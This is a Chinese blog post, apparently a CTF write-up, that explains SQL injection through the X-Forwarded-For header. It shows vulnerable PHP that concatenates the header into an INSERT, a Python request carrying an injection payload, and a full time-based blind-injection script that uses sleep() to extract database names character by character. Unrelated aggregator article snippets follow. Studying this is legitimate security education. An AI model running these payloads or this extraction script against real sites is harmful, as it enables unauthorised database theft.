依托http-headers的 sql注入和时间盲注

news/2024/7/19 8:38:29 标签: 爬虫, 数据库, python

机缘巧合接触了一点关于sql注入的网络安全问题

依托 headers 的 sql 注入

一般来说大家都很清楚用户输入的危险性,通常会对用户表单提交的数据进行过滤(引号转码)。
但是如果写过网络爬虫,那么就很清楚其实http的headers 也是由用户自己构造的,因此对一些从headers获取的变量就不能掉以轻心。比如<strongstyle="color:#890729;">userAgent, ip等。
这里有一个sql注入的题目:who are you? -- http://www.shiyanbar.com/ctf/1941

代码漏洞示例

    if (!empty($_SERVER["HTTP_CLIENT_IP"])) {
        $cip = $_SERVER["HTTP_CLIENT_IP"];
    } else if (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) {
        $cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
    } else if (!empty($_SERVER["REMOTE_ADDR"])) {
        $cip = $_SERVER["REMOTE_ADDR"];
    } else {
        $cip = 'unknow';
    }
    // 未对ip 进行安全转码
    echo 'Your IP address is : '.$cip;
    // 直接拼接sql,未使用pdo参数绑定
    $sql = "INSERT INTO IP (ip) VALUES ('$cip') ";
    $DB->query($sql);

构造sql注入的headers

接触过爬虫/CURL都很熟悉了,构造headers参数就行,以python为例:

headers = {
        "X-forwarded-for": "'+(select 1) and '1'='1"
}
req=requests.get(url,headers=headers)

如果顺利的话,应该会类似输出 Your IP address is : '+(select 1) and '1'='1

time-based 时间盲注

看到这里,你可能跟我一样有个疑问。怎么才能破解数据库的信息呢?虽然可以Drop database *;...
我们只能构造sql,并让服务器运行,却不能让页面输出sql的查询结果
这时候时间盲注就排上用场了 Sql注入系列详解(一)---基于时间差的盲注
它的原理很容易理解:

  • sql执行速度,在查询条件不存在时响应很快(跟查询语句有关)
  • sleep() 语句可以人为控制sql响应时间
  • 虽然不能控制页面的输出,但是可以通过sleep()来控制页面响应时间。根据页面响应时间来判断是否命中查询信息

所以核心思想是,通过sql语句控制页面的响应时间
破解过程非常暴力,看代码一目了然:

def crack_records(url, sql, max_row, max_length):
    #guess = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
    # mysql 不区分大小写
    guess = string.ascii_lowercase+string.digits+string.punctuation
    res = []
    for n in range(0,max_row):        #假设爆破前 max_row 个记录
        result=''
        for i in range(1,max_length):                  #爆破字符串长度,假设不超过 max_length 长度
            flag=0
            for str in guess:                   #爆破该位置的字符
                
                headers = {"X-forwarded-for":"'+"+" (select case when (substring((%s limit 1 offset %d) FROM %d FOR 1)='%s') then sleep(8) else 1 end) and '1'='1" % (sql,n,i,str)}
                try:
                    req=requests.get(url,headers=headers,timeout=6)
                except:
                    result+=str
                    flag=1
                    print('正在扫描第%d个记录,the result now is '%(n+1) ,result)
                    break
            if flag==0:
                break
        res.append(result)
        #
        if i==1 and flag==0:
            print('扫描完成')
            break
    return res

# 除information_schema外的database 
sql = "select schema_name from information_schema.SCHEMATA WHERE schema_name<>'information_schema' "
res = crack_records(url, sql, 100, 500)
print (res)

文章参考

实验吧CTF-Who are you?

总结

  1. 破解过程非常耗时,根据网页的响应时长调整timeout阈值
  2. 当网页因为其他原因超时相应时会产生误差,因此网络不好的情况下需要重复破解以精确结果。
  3. 这些人好特么聪明啊啊啊啊啊!!!

转载于:https://www.cnblogs.com/dapianzi/p/8023399.html


http://www.niftyadmin.cn/n/1256545.html

相关文章

20171211-python自动化-接口测试-postman-get

接口练习地址&#xff1a; 接口1&#xff1a;获取学生信息 简要描述&#xff1a;获取学生信息接口 请求url&#xff1a;http://api.nnzhp.cn/api/user/stu_info 请求方式&#xff1a;get 参数 参数名称必选类型说明stu_name 是string学生姓名返回参数说明 ... 1&#xff0c;直接…

Sublime Text 无法使用Package Control或插件安装失败的解决方法

安装Package Control时遇到的问题&#xff1a;There are no packages available for installation 第一步&#xff1a;取得sublime.wbond.net的IPv4地址。在命令提示符中输入以下命令&#xff1a; ping sublime.wbond.net 第二步&#xff1a;打开C:\Windows\system32\drivers\e…

管道相关函数(1)-pipe

定义&#xff1a; int pipe(int filedes[2]); 表头文件&#xff1a; #include<unistd.h> 说明&#xff1a; pipe()会建立管道, 并将文件描述词由参数filedes数组返回。filedes[0]为管道里的读取端, filedes[1]则为管道的写入端。 返回值&#xff1a; 若成功则返回零, 否则…

Angular4 @HostBinding @HostListener

host属性 Component({ selector: jhi-project, templateUrl: ./project.html, styleUrls: [], host: { (window:keydown): keyboardInput($event) } //绑定事件和方法 }) export class JhiProjectComponent { keyboardInput(event) { if (event.keyCode 65 && even…

SQL中MAX()和MIN()函数的使用(比较字符串的大小)

在SQL数据库中&#xff0c;最大/最小值函数—MAX()/MIN()是经常要用到的&#xff0c;下面就将为您分别介绍MAX()函数和MIN()函数的使用&#xff0c;供您参考&#xff0c;希望对您学习SQL数据库能有些帮助。 当需要了解一列中的最大值时&#xff0c;可以使用MAX()函数&#xff1…

win7安装oracle

1.下载 2.安装 主目录关键重要 转载于:https://www.cnblogs.com/kaiwen/p/8034352.html

无线摄像头ftp服务器设置方法,camhi摄像头怎么连接ftp服务器

camhi摄像头怎么连接ftp服务器 内容精选换一换Atlas 200 DK使用需要用户提前自购如表1所示配件。准备一个操作系统为Ubuntu X86架构的服务器&#xff0c;用途如下&#xff1a;SD卡制作时&#xff0c;读卡器或者Atlas 200 DK会通过USB与此Ubuntu服务器连接&#xff0c;制作Atlas…

物联网常见定位技术的优缺点

万物互联的时代也是数据为王的时代&#xff0c;然而在很多时候&#xff0c;没有对应的位置信息就意味着数据是“杂乱无章”的&#xff0c;可利用的价值就会大大降低。随着物联网行业这两年的蓬勃发展&#xff0c;定位技术在各种物联网应用场景的需求也大大提升&#xff0c;以下…